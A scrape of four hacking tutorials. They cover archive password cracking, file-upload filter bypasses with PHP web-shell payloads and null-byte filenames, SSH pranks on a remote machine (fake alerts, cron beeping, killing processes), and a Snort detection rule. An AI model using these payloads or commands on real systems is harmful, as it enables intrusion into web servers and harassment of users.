How to Recover WinRAR and Zip Passwords « Null Byte :: WonderHowTo | Archiving and compression is a great way to store and prepare files for sending. You can reduce the size of a file, turn a group of files into a single file, and even encrypt and password the contents! Just take a look at this image to see how much it compressed a 28GB text file.That's28GBturned into78MB!The only set-back can be the dreaded moment that you actually lose an archive password, which I'm sure we all have done. That's why thisNull Byteis here to help you solve such a problem.Here's What You NeedA locked .zip or .rar file.ALinux live CD, orCygwin, or Linux installation, or a Virtual Machine running Linux.An installed copy ofrarcrackorfcrackzip.Step1Download & Install RarCrack/fcrackzipcmd == command to be entered in a terminal emulatorRarCrack and fcrackzip are the tools we are going to use to crack the archive. I picked both because fcrackzip is faster at cracking.zipfiles, but RarCrack is better at the others.Downloadrarcrackorfcrackzip.Open a terminal emulator.cmd:cd Downloads/cmd:tar -zxvf <package-name>cmd:cd <new directory>cmd:./configurecmd:make && sudo make installStep2Crack an ArchiveFor the actual task of cracking the archive, I will demonstrate how it is done via a vTutorial. Commands and description are below.Please enable JavaScript to watch this video.Commandfcrackzip -b -c a -l 5-6 Desktop/screenshot.zipHere is another video for using rarcrack:Please enable JavaScript to watch this video.Commandrarcrack --type rar ~/Desktop/example.rarThen just wait for your archives' passwords to be cracked!Come join theIRCsometime to talk with me one-on-one!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto by????? ?????RelatedHow To:Reset or recover your Windows passwordHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Archive files using WinRAR and 7-Zip in Windows XPHow To:Open a WinRAR archive without a passwordHow To:Hide a file inside an image with Winrar and 7-ZipHow To:Extract zip archive files with WinrarHow To:Open .zip files (unzip files)How To:Install additional fonts in PhotoscapeHow To:Open/extract Winrar or Winzip & open a new text docHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenHow To:Password protect a folder on Windows VistaHow To:Reinstall Apps Faster After Resetting or Installing a New ROMHow To:Lose Your Connection? This Add-On for Chrome and Firefox Helps You Recover Missing Text and Erased FormsHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Set Up Private Internet Access in LinuxHow To:Make a Locked File Cracker with PythonHow To:Recover a lost Administrator password in JoomlaHow To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesNews:Solve your rar password recovery problemHow To:Change Windows Logon Screen's BackgroundHow To:Permanently Erase Data So That It Cannot be RecoveredHow To:Recover a Windows Password with OphcrackHow To:Permanently Delete Files to Protect Privacy and PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingRainbow Tables:How to Create & Use Them to Crack PasswordsNews:Building zip lines in HawaiiHow To:Use OptiFine to Boost Mincraft's Visual Performance to Eliminate Lag and Speed Up RenderingNews:... A Few Cool FreewarezZz ...How To:Execute the Human Fly SwatGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Recover Deleted Files in LinuxNews:Windows Live SkyDriveNews:ZIPPP Line |
How to Bypass File Upload Restrictions on Web Apps to Get a Shell « Null Byte :: WonderHowTo | One of the most promising avenues of attack in a web application is the file upload. With results ranging from XSS to full-blown code execution, file uploads are an attractive target for hackers. There are usually restrictions in place that can make it challenging to execute an attack, but there are various techniques a hacker could use to beat file upload restrictions to get a shell.Method 1: Bypassing BlacklistsThe first method we'll explore is how to bypass blacklisting. Blacklisting is a type of protection where certain strings of data, in this case, specific extensions, are explicitly prohibited from being sent to theserver. At first glance, it might seem like an optimal solution to prevent bad extensions, oftenexecutables, from being uploaded, but it is trivial to bypass.Don't Miss:How to Compromise a Web Server & Upload Files to Check for Privilege EscalationIn addition to the regular extensions, there are alternative extensions that can be used to get around blacklist filters. Here are some extensions forPHP files:.pht, .phtml, .php3, .php4, .php5, .php6, .incAnother popular extension forweb shellsisJSP, and here are some alternatives:.jspx, .jspf, .jsw, .jsvIn some situations, simply changing the case of the extension can trick filters into accepting the file, like so:.pHp, .Php, .phPMethod 2: Bypassing WhitelistsAnother type of prevention commonly encountered on thewebis whitelisting. Whitelisting is precisely the opposite of blacklisting, where the server accepts only specific extensions. For example, an application that allows you to upload aprofile picturemight only take JPG, JPEG, or PNG files. While this type of prevention is better than blacklisting, it can still be easily bypassed.Some web servers, such asApache, allow files with double extensions. That means we can trick the server into accepting a PHP file that also has a JPG extension tacked on the end:shell.php.jpgWe can also use anull byteinjection to bypass whitelist filters. Anything after the null character will be ignored when the file is saved, so injecting between a forbidden extension and an allowed extension can lead to a bypass:shell.php%00.jpgOr:shell.php\x00.jpgThis can also be accomplished withBurpand modifying the hex request. Name the fileshell.phpD.jpg— we'll replace theDcharacter with a null character during the request. When uploading the file, intercept the request, go to the hex tab, and find the hex representation of theDcharacter:Simply replace the44with00and send the request through:This technique can be used in tricky situations where the standard null byte injection won't work.Another way to beat whitelisting is to fool the server with file type headers. Usually, if an upload function accepts images, it will accept GIF files as well. We can addGIF89a;to the beginning of the shell to trick the upload:GIF89a; <?php system($_GET['cmd']); ?>Method 3: Exif DataThe next method to bypass file upload restrictions utilizesExif data in an image. We can insert a comment that contains validPHP codethat will be executed by the server when the image is processed.We can useexiftoolto do this — if it is not installed already, install it with thepackage manager:~# apt install exiftoolThen we can insert a simplecommand shellas a comment in our pic:~# exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpgNow if we use thefilecommand on our pic, we can see the code was successfully inserted:~# file pic.jpg
pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3All we have to do now is add a PHP extension so it can be executed:~# mv pic.jpg pic.php.jpgThis technique can be combined with any of the approaches to bypass blacklists or whitelists.Method 4: Other Bypass TechniquesSometimes, the only thing preventing individual files from being uploaded is client-sideJavaScript. If the upload function still works without it, simply turning offJavaScriptin the browser can sometimes beat restrictions. If that doesn't work, intercepting the request and changing the file extension can easily bypass client-side filters.The content type of a file can also be used as a way to validate uploaded content. For example, an image upload will usually check that the content type of the file is an image, not a script or other malicious file type. This type of prevention can easily be bypassed byintercepting the request and changing the content type.In some situations, the length of the content can also be used to validate uploaded files. It will depend on the specific circumstances, but often all that's needed is a shorter payload. For example, a typical PHP command shell can be shortened to this:<?=`$_GET[x]`?>Preventing Unrestricted File UploadsSeveral precautions developers can take to prevent unrestricted file uploads and reduce the likelihood of an attacker bypassing restrictions. First and foremost, thedirectorywhere the uploads are stored should have no execute permissions. Consider storing files in adatabaserather than on the filesystem at all.File types to be uploaded should be limited to the bare minimum for necessary business functionality. Also, any control characters or special characters should be stripped from the uploaded file name and extension, and only one dot should be permitted. Also, the size should be limited as multiple large files can lead to denial of service.After a file is uploaded, the name should be changed, ideally, to ahashthat cannot be guessed. This will prevent attackers from being able to find their file after it is uploaded. It is also wise to prevent files from being overwritten, so hashes cannot be deduced by an attacker.Wrapping UpIn this tutorial, we covered various methods to get around common file upload restrictions. We learned how to bypass blacklist filters, whitelist filters, content validation, and more. File uploads, if they can be beaten, are a surefire path to shell.Don't Miss:How to Obtain Valuable Data from Images Using Exif ExtractorsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMaksym Kaharlytskyi/Unsplash; Screenshots by drd_/Null ByteRelatedHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Bypass Candy Crush Saga's Waiting Period to Get New Lives & Levels ImmediatelyHow To:Bypass File Upload Restrictions Using Burp SuiteHow To:Beat LFI Restrictions with Advanced TechniquesHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:The Easiest Way to Transfer Files to Others with Your Web BrowserHow To:Get Around Vine's Time Restriction and Upload Videos Longer Than 6 SecondsHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Install Snapchat on a Nexus 7 or Any Other Android TabletHow To:Exploit PHP File Inclusion in Web AppsHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Stream Netflix, Hulu, and Pandora from Anywhere in the World with Media HintHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Upload Your eBook Collection to Your Nexus 7 Tablet Using Google Play BooksHow To:Hack a remote Internet browser with XSS ShellHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Exploit Remote File Inclusion to Get a ShellNews:How Google Forcing Apps to Target Oreo Will Help with Android's Malware ProblemHow To:Sideload Apps on the Nexus PlayerHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow To:Bypass Common Windows Restrictions, Activate God Mode, and MoreHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:How-To-Use Facebook To Host your blog/website Images And Get Unlimited BandwidthNews:Rigging A Blue CrabNews:Windows Live SkyDriveNews:The 5 Best iPhone/iPad Apps for Exporting and Importing Your PhotosNews:Change from BASH to zshHow To:Get the 'For Whom the Shell Tolls' Achievement in Modern Warfare 3News:Reconnect to Victim's System SuccessNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreApple's iCloud:What You Should KnowHow To:Push and Pull Remote Files Securely Over SSH with Pipes |
How to Haunt a Computer with SSH « Null Byte :: WonderHowTo | If you've ever needed to prove you have remote access to a device, or simply want a way to convince someone their computer is haunted, SSH can be used to make a device begin to show signs of being possessed.Spooky Action at a DistanceIf you need to prove you've got remote access to a computer but don't want to risk a demonstration that could put data at risk, SSH can be a lot of fun for a very small amount of work. There are plenty of ways to either cause a big distraction or to confirm you have access to a target device over SSH, and most of them are also pretty dramatic when done correctly.Don't Miss:Set Up an SSH Server with Tor to Hide It from Shodan & HackersWhile the signs of someone messing with your computer remotely may be obvious to some, the average person is not looking for clues that suggest they are under attack and will tend to attribute strange behavior from their computer to bugs, glitches, or other reasons beyond their control. With SSH access, a hacker can easily create fake alerts or cause behaviors to trick others into doing something the hacker wants them to do.Rather than being subtle, we're going to look at things we can do over SSH to cause the maximum effect to freak out a user on the other end.Alarming Things You Can Do Over SSHWe have a lot of tools at our disposal when creating an alarming SSH experience. To start, we can launch applications like Firefox to navigate to any webpage we want, launching either fullscreen webpages or multiple smaller browser windows. Most people associate webpages launching with a virus or adware, especially if most of the websites are about Viagra.Next, we can start making some noise. The speakers attached to a computer represent a lot of fun we can have, and this can take the form of alarming beeping or speech seemingly from nowhere. If someone thinks they are alone in their home, a computer shouting at them from nowhere is a very unwelcome surprise. The same is true of your computer beginning to beep furiously as though it were about to explode.If we want to be more direct, we can frightening error messages that take up the entire screen and suggest dangerous things are happening on the computer. By combining beeping and error messages, we can create fake problems which look very serious and disruptive.What You'll NeedTo follow along, you'll need a computer that you have SSH access to. This guide is based on an Ubuntu computer, but you can control most Linux computers including MacOS using the same commands.You'll also need to be on the same network as the computer you want to control. Once you're logged in to the target computer via SSH, you can start launching apps and taking other actions remotely.Don't Miss:Top 10 Things to Do After Installing Kali LinuxStep 1: Establishing Access & Basic App LaunchingTo start, we have to specify that we want everything we do to appear on the remote computer we are logged into via SSH, not the local computer we are logged in using. To do that, we'll first set our display path with the following command.export DISPLAY=:0.0Now, running a simple command likefirefoxvia SSH will open a Firefox window on the remote computer.That's not very scary, though. For our first example, let's open a scary looking xterm window that will display network data that looks quite alarming to a beginner. To make this even worse, we'll do it 10 times, so when they click out of it, a new one instantly spawns 10 times in a row.For this to happen, we'll first use the commandfor i in {1..10};followed by the code we want to execute, and thendoneat the end.for i in {1..10}; do sudo xterm -maximize -e sudo tcpdump; doneIn this case, we're opening a maximum sized terminal window, and the-ecommand means we are executingsudo tcpdumpin the xterm window we launch.To the average user, their computer has now started spawning hacker shells that can't be closed.Step 2: Bells, Whistles, & SpeechBefore we can make any noise at all, we'll need to run the following command to let us control the speaker remotely.sudo modprobe pcspkrAfter this is done, we have a lot of options! First, we can say any phrase through the computer with thesaycommand. We can also use theespeakcommand to do the same thing.say "I am a canadian randomware, I have not encrypted any files but would appreciate some change"
espeak "please give me quarters sorry to bother you"We can schedule these to go off periodically in a chrontab later, or just do them live.If we want to be more subtle, we can usebeepto drive a user crazy. To use this, make sure you have it withapt install beep.Once you have it installed, check out what you can do with it usingman beep, a great command.BEEP(1) General Commands Manual BEEP(1)
NAME
beep - beep the pc speaker any number of ways
SYNOPSIS
beep [--verbose | --debug] [-e device | --device device] [-f
N] [-l N] [-r N] [-d N] [-D N] [-s] [-c]
beep [ OPTIONS ] [-n] [--new] [ OPTIONS ]
beep [-h] [--help]
beep [-v] [-V] [--version]
DESCRIPTION
beep allows the user to control the pc-speaker with preci‐
sion, allowing different sounds to indicate different
events. While it can be run quite happily on the command
line, it's intended place of residence is within shell/perl
scripts, notifying the user when something interesting
occurs. Of course, it has no notion of what's interesting,
but it's real good at that notifying part.
All options have default values, meaning that just typing
'beep' will work. If an option is specified more than once
on the command line, subsequent options override their pre‐
decessors. So 'beep -f 200 -f 300' will beep at 300Hz.
OPTIONS
--verbose, --debug
enable debug output. This option prints a line like
the following before each beep:
[DEBUG] 5 times 200 ms beeps (100 delay between, 0
delay after) @ 1000.00 Hz
-e device, --device device
use device as event device. If the switch isn't used,
/dev/tty0 and /dev/vc/0 are tried in turn.
-f N beep at N Hz, where 0 < N < 20000. As a general
ballpark, the regular terminal beep is around 750Hz.
N is not, incidentally, restricted to whole numbers.
-l N beep for N milliseconds.
-r N specify the number of repetitions (defaults to 1).
-d N, -D N
specify a delay of N milliseconds between repeti‐
tions. Use of -d specifies that this delay should
only occur between beeps, that is, it should not
occur after the last repetition. -D indicates that
the delay should occur after every repetition,
including the last. Normally, -d is what you want,
but if, for example, you are stringing several beep
commands together to play the star wars anthem, you
may want control over every delay.
-n, --new
this option allows you to break the command line up
into specifying multiple beeps. Each time this
option is used, beep starts treating all further
arguments as though they were for a new beep. So for
example:
beep -f 1000 -n -f 2000 -n -f 1500
would produce a sequence of three beeps, the first
with a frequency of 1000Hz (and otherwise default
values), then a second beep with a frequency of
2000Hz (again, with things like delay and reps being
set to their defaults), then a third beep, at 1500Hz.
This is different from specifying a -r value, since
-r repeats the same beep multiple times, whereas -n
allows you to specify different beeps. After a -n,
the new beep is created with all the default values,
and any of these can be specified without altering
values for preceding (or later) beeps. See the EXAM‐
PLES section if this managed to confuse you.
-s, -c these options put beep into input-processing mode.
-s tells beep to read from stdin, and beep after each
newline, and -c tells it to do so after every charac‐
ter. In both cases, the program will also echo the
input back out to stdout, which makes it easy to slip
beep into a text-processing pipeline, see the EXAM‐
PLES section.
-h, --help
display usage info and exit
-v, -V, --version
display version information and exitWe can make pretty much any noise with Beep. It even comes with a handy reference table for composing notes.Note Frequency
C 261.6
C# 277.2
D 293.7
D# 311.1
E 329.6
F 349.2
F# 370.0
G 392.0
G# 415.3
A 440.0
A# 466.2
B 493.9
C 523.2In our case, we're going to do something horrible. Here, the-fflag sets the frequency to a ear-piercing 4000 kHz, the-dflag sets the duration of the delay between beeps to 500 ms, and the-lflag sets the length of the beep to a second. Finally, the-rflag repeats this awful noise 10 times.beep -f 4000 -D 500 -l 1000 -r 10You can use this to alarm anyone into thinking their computer objects strongly to something they just did.Step 3: Frightening Error MessagesConfusing or alarming error messages can be a lot of fun to send, as users will generally believe them until they become too absurd. There are a couple of different types we can send, some of which are lame.We can pop up subtle little messages by using thenotify-sendcommand, with the title first and the message body second.notify-send 'WARNING' 'I AM CALLING THE INTERNET POLICE'This pops up a little alert in the corner. Kinda boring. Instead, we can display this big fat alarming message usingwhiptailand launching it in a full screen window.xterm -maximized -fullscreen -fa 'Monospace' -fs 19.31 -e whiptail --title "CRITICAL: ACTION CANNOT BE UNDONE" --msgbox "UNAUTHORIZED LOGIN! DATA SAFEGUARD SYSTEM WILL DESTROY THIS TERMINAL IN 10 SECONDS, STAY 30 FEET CLEAR TO AVOID BLAST" --topleft 23 79You can replace it with your own content, but here's how it looks.Step 4: Cron Jobs from HellNow, we can start combining these and scheduling them to run automatically. We can check to see if there are any existing jobs in the crontab with the-lflag, and then add a new one with the-eflag.crontab -l
crontab -eFrom the configuration window that pops up, you can add a job to execute every 60 seconds with the following formula.* * * * * (your code here)To make the computer beep every 60 seconds, we can add this entry, and then pressctrl xandyto save the file.* * * * * beep -f 300.7 -r 10 -d 50 -l 400As soon as the file is saved, the computer will beep every 60 seconds.Step 5: Killing TasksIf there is someone on the computer you have backdoor access to, you can deliberately kill the process ID of an application they are using. This causes the application to instantly crash, which can prevent someone from doing anything effective on the computer.To find the process ID, we can usetoporhtopto see a list of processes running on the computer. If you don't havehtopinstalled, you can do so with the command below.apt install htop
top
Tasks: 219 total, 1 running, 178 sleeping, 0 stopped, 0 zombie
%Cpu(s): 3.0 us, 0.4 sy, 0.0 ni, 95.6 id, 0.9 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 4968836 total, 1431244 free, 1104324 used, 2433268 buff/cache
KiB Swap: 5138428 total, 5138428 free, 0 used. 3367804 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31906 root 20 0 0 0 0 I 6.2 0.0 0:00.59 kworker/u16:1
32560 toor 20 0 41928 3880 3192 R 6.2 0.1 0:00.02 top
1 root 20 0 160212 9592 6816 S 0.0 0.2 0:02.35 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.01 kthreadd
4 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 kworker/0:0H
6 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 mm_percpu_wq
7 root 20 0 0 0 0 S 0.0 0.0 0:01.33 ksoftirqd/0
8 root 20 0 0 0 0 I 0.0 0.0 0:09.13 rcu_sched
9 root 20 0 0 0 0 I 0.0 0.0 0:00.00 rcu_bh
10 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
11 root rt 0 0 0 0 S 0.0 0.0 0:00.03 watchdog/0
12 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuhp/0
13 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuhp/1
14 root rt 0 0 0 0 S 0.0 0.0 0:00.03 watchdog/1If I want to kill the processtop, I just grab the PID and run the following command.kill PID#In the example above, I would runkill 32560to crash thetopprocess that is running.Step 6: Putting It Together: RickswarmWe'll want to combine everything we've learned to create vivid experiences for whoever happens to be on the computer we have access to. Let's take our alarming random beeping and combine it with some bash commands to make a whole lot of Firefox windows open up every 60 seconds, all navigating to "Never Gonna Give You Up."for i in {1..10}; do beep -f 4000 -D 500 -l 1000 -r 10 & firefox -new-window "https://www.youtube.com/watch?v=dQw4w9WgXcQ"; doneDon't Miss:Brute-Force Nearly Any Website Login with HatchSSH Access Makes Haunting a Computer EasyWhile causing maximum distraction and disruption via SSH is not something that might come up on a daily basis, it's a lot of fun and very useful for social engineering. Obviously, while this is an entertaining prank, it's a very bad idea to do this to someone's computer you don't have permission to, as people who are not tech-savvy will probably think something much worse than a prank is going on and act out of fear. It isn't legal to access a device you don't have permission to, so keep your SSH pranks to pentesting and devices you have permission to access!Don't Miss:Locate & Exploit Devices Vulnerable to the Libssh Security FlawI hope you enjoyed this guide to haunting a computer with SSH! If you have any questions about this tutorial on SSH pranks or you have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via123RFRelatedHow To:Spy on SSH Sessions with SSHPry2.0Rasberry Pi:Connecting on ComputerHack Like a Pro:How to Haunt Your Boss's Computer & Drive Him InsaneHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Enable the New Native SSH Client on Windows 10Hacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersNews:Developer Conjures Virtual Haunted House with ARCoreSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Easily SSH into your iPhone/iPod TouchHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:SSH into an iPod Touch 2G for Windows (3.0 firmware)How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Create an SSH tunnel for your Mac Mini serverHow To:Change the SSH root password on the iPhone and iPodSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Access files on your iPhone, iPod Touch, or iPad by SSH for Mac or WindowsHow To:SSH into your iPhone or iPod Touch using MacHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:SSH into your iPhone with USBHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHorror Photography Challenge:The "Haunted" Cresent HotelHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:FarmVille Haunted HouseNews:Farmville Halloween ThemeNews:In the journey it all exists and goes on...News:Haunted HouseNews:Richard Stallman's RiderCamera Phone Photo Challenge:33 Worcester Boulevard7/9- Fri Pick:Harlem / The Black Apples / Audacity @How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop It |
Hack Like a Pro: An Introduction to Regular Expressions, Part 2 « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!A short while ago, I introduced you toregular expressions. Regular expressions are a language that is particularly useful for finding complex text patterns in streams of data.Although first developed for Perl, regular expressions are used throughout the IT industry (but more so in UNIX/Linux environments), and you can find them implemented in databases, Perl, Java, Ruby, Python, C++, .NET, and other programming languages.For our purposes here, we want to focus on their implementation inSnort, the world's most widely used Intrusion Detection System (IDS). Snort is open source, but owned bySourcefire, which was recently purchased by Cisco. As a result, Snort will likely become even more widespread than it is today, so I strongly recommend learning its ins and outs.Regular Expressions in SnortAs hackers, the more we know about Snort and how it operates, the better we can evade it. As security professionals, the more we know about Snort, the better we can detect attempts at intruding into our system.One variety of regular expressions is the Perl Compatible Regular Expressions (PCRE). Due to the strength PCRE, Snort uses it in many of its rules to detect the signature of intrusions. PCRE can be implemented to find specific signatures of known exploits.In this tutorial, we will examine a Snort rule that will detect and alert us of a particular type of FTP DOS attack and, by doing so, hopefully, we will learn a bit of PCRE along the way.Step 1: Getting StartedIf you have not already done so, download and install Snort onyour Kali system. If you are still usingBackTrack, it is already installed.In Kali, simply type the following command to download the Snort package from the Kali repository.apt-get install snortOr, you candownload itand compile it as I've shown inthis tutorial.Step 2: Examine an ExploitSome versions of Google Chrome are prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input properly. To find more information on this vulnerability/exploit, let's go to my favorite vulnerability database,SecurityFocus, and look atBugTraq ID 39183. It isdescribedthere as:Attackers can exploit this issue to crash the application, denying service to legitimate users. Google Chrome 4.1.249.1042 is vulnerable; other versions may also be affected.In itsdescription of the exploit, it says:To exploit this issue, an attacker must entice an unsuspecting user into visiting a malicious website or FTP server.This is one of the thousands of exploits Snort is designed to identify that uses PCRE. Because the signature of this attack is relatively simple, we will use it here to learn more about PCRE and how it is implemented in Snort for exploit signature identification.Step 3: PCRE ShorthandsBefore we examine this rule and its PCRE, we need to delve a bit deeper into some PCRE notation. Inmy previous article on PCRE, I introduced you to some basic PCRE notation. To understand this rule, we need to look at what PCRE refers to as "shorthands." These are single letters preceded by a "\" that tell the system to look for something very specific. Here is short list of a few.\b- This indicates a word boundary\d- This is any digit shorthand\s- This is whitespace shorthand\w- This is shorthand for any alpha, numeric, or underscore character\x- This shorthand references a hexadecimal character when followed by a hex number\n- This shorthand indicates a new lineStep 4: Examine a RuleNow, that we have expanded our knowledge a bit, let's look at that single rule in Snort and see whether we can decipher what the PCRE is looking for that denotes the signature of this Chrome FTP DOS attack.Now that you have downloaded and installed Snort, change directories to:kali > cd /etc/snort/rulesThen the DOS rules file and open it in your favorite text editor.kali > leafpad dos.rulesNow that you have that file open, find "39183." This is the BugTraq identifier for a DOS attack that uses Google Chrome to DOS an FTP server. It dates back to 2010 and has been patched in the newer versions of Google Chrome. Here we will be using it as an example of how PCRE can be used to identify the signature of this attack.The rule looks like this:alert tcp $EXTERNAL_NET 21 -> $HOME_NET any (msg:"DOS Google Chrome FTP handling out-of-bounds array index denial of service attempt"; flow:to_client,established; content:"|22 22|"; pcre:"/^2\d{2}^\n_*?\x22{2}/"; metadata:service ftp; reference:bugtraq,39183; classtype:attempted-dos; sid:16795; rev:3;)For information on the what all this rule means, see myprevious articles on Snort and its rules. Here we will be focusing exclusively on the PCRE signature embedded within this rule:pcre:"/^2\d{2}^\n_*?\x22{2}/"Step 5: Dissect the PCRENow that we have extracted the PCRE signature identifying segment of this rule, let's dissect it piece by piece to see what it is looking for to identify this attack. The "pcre:" simply tells Snort that what follows should be interpreted as a Perl Compatible Regular Expression and the"character starts the PCRE.Now let's take apart each piece of the PCRE clause starting with:/- This opens the PCRE clause^2- This indicates that digit 2 must start the string\d {2}- This indicates that next any digit must appear twice^\n_- Then, look for the start of a new line* - Then, any number of the items?- Then, any single item of what is front of it\x22{2}- Matches hex character (22) appearing twice {2}/- This closes the PCRE clauseSo, if I can summarize in plain English what this PCRE clause is looking for, it would be:"Look for a string that begins with the digit 2, followed by two digits, then the start of a new line and then any number of items, followed by a single item, then the two hexidecimal characters 22 and 22."PCRE is one of the critical skills to be effective in many different areas of IT, but particularly IT security. Here we can see how PCRE was implemented to identify the signature of a DOS attack. In some cases, as a IT security engineer, you may be required to write your own rules, so the more you know, the more effective you will become. As a hacker, the more you know, the better you can evade these systems and hit your pot of gold.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:An Introduction to Regular Expressions (Regex)How To:Take Slo-Mo Selfies (AKA 'Slofies') on iPhone 11, 11 Pro & 11 Pro MaxHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1News:The Best Cyber Monday Tech Deals on TVs, Phones, Laptops, & MoreHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenHow To:Create This Easy Hologram Projector for Your Smartphone in Just Ten MinutesHow To:Force Restart Your iPhone SE (2nd Generation) When It's Frozen or Otherwise Acting UpNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereHow To:Earn the "Sally Likes Blood" achievement in Call of Duty: Black OpsNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Draw a Vampire-SmirkHow To:Abe Lincoln Vampire HunterHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsHow To:9 Oreo Hacks That Make Life Worth LivingHow To:Get started using FileMaker Pro 11How To:Use Colorista plugin in Final Cut Pro (Introduction)How To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10News:iOS 12.1.1 Public Beta 3 Now Available to Software TestersHack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHow To:Draft/Make Patterns in Different Sizes (Pattern Making of a Basic Dress with Waistline)News:Amazon's Best Black Friday Tech Deals 2016—TVs, Phones & TabletsHow To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:New Snapchat Group Features Swipe Back at Facebook's Story StealingHow To:Transform a Loaf of Bread into a Stuffed Sandwich Fit for a PicnicHow To:Get All the New iPad Pro Wallpapers on Your iPhoneHow To:This Quick & Easy Shortcut Minces Garlic in SecondsNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Get LED Color Effects for Music Playing on Your AndroidHow To:Use Adobe Premiere Pro to edit video and moviesHow To:Use Regular Expressions to find text patternsHow To:The Official Google+ Insider's Guide IndexNews:Game box art - what to regular people think?THE FILM LAB:Intro to Final Cut Pro - 02News:introductionContest:Potassium Nitrate CrystalsNews:Jim Winter - Palmistry - FINGERS - Pt2Camera Plus Pro:The iPhone Camera App That Does it AllNews:Welcome to Edit on a DimeHow To:Hack Your Old Printer to Automatically Print Hashtag-Based Instagram PhotosNews:Bricked iPad Pros, Error 56, & How to Fix |
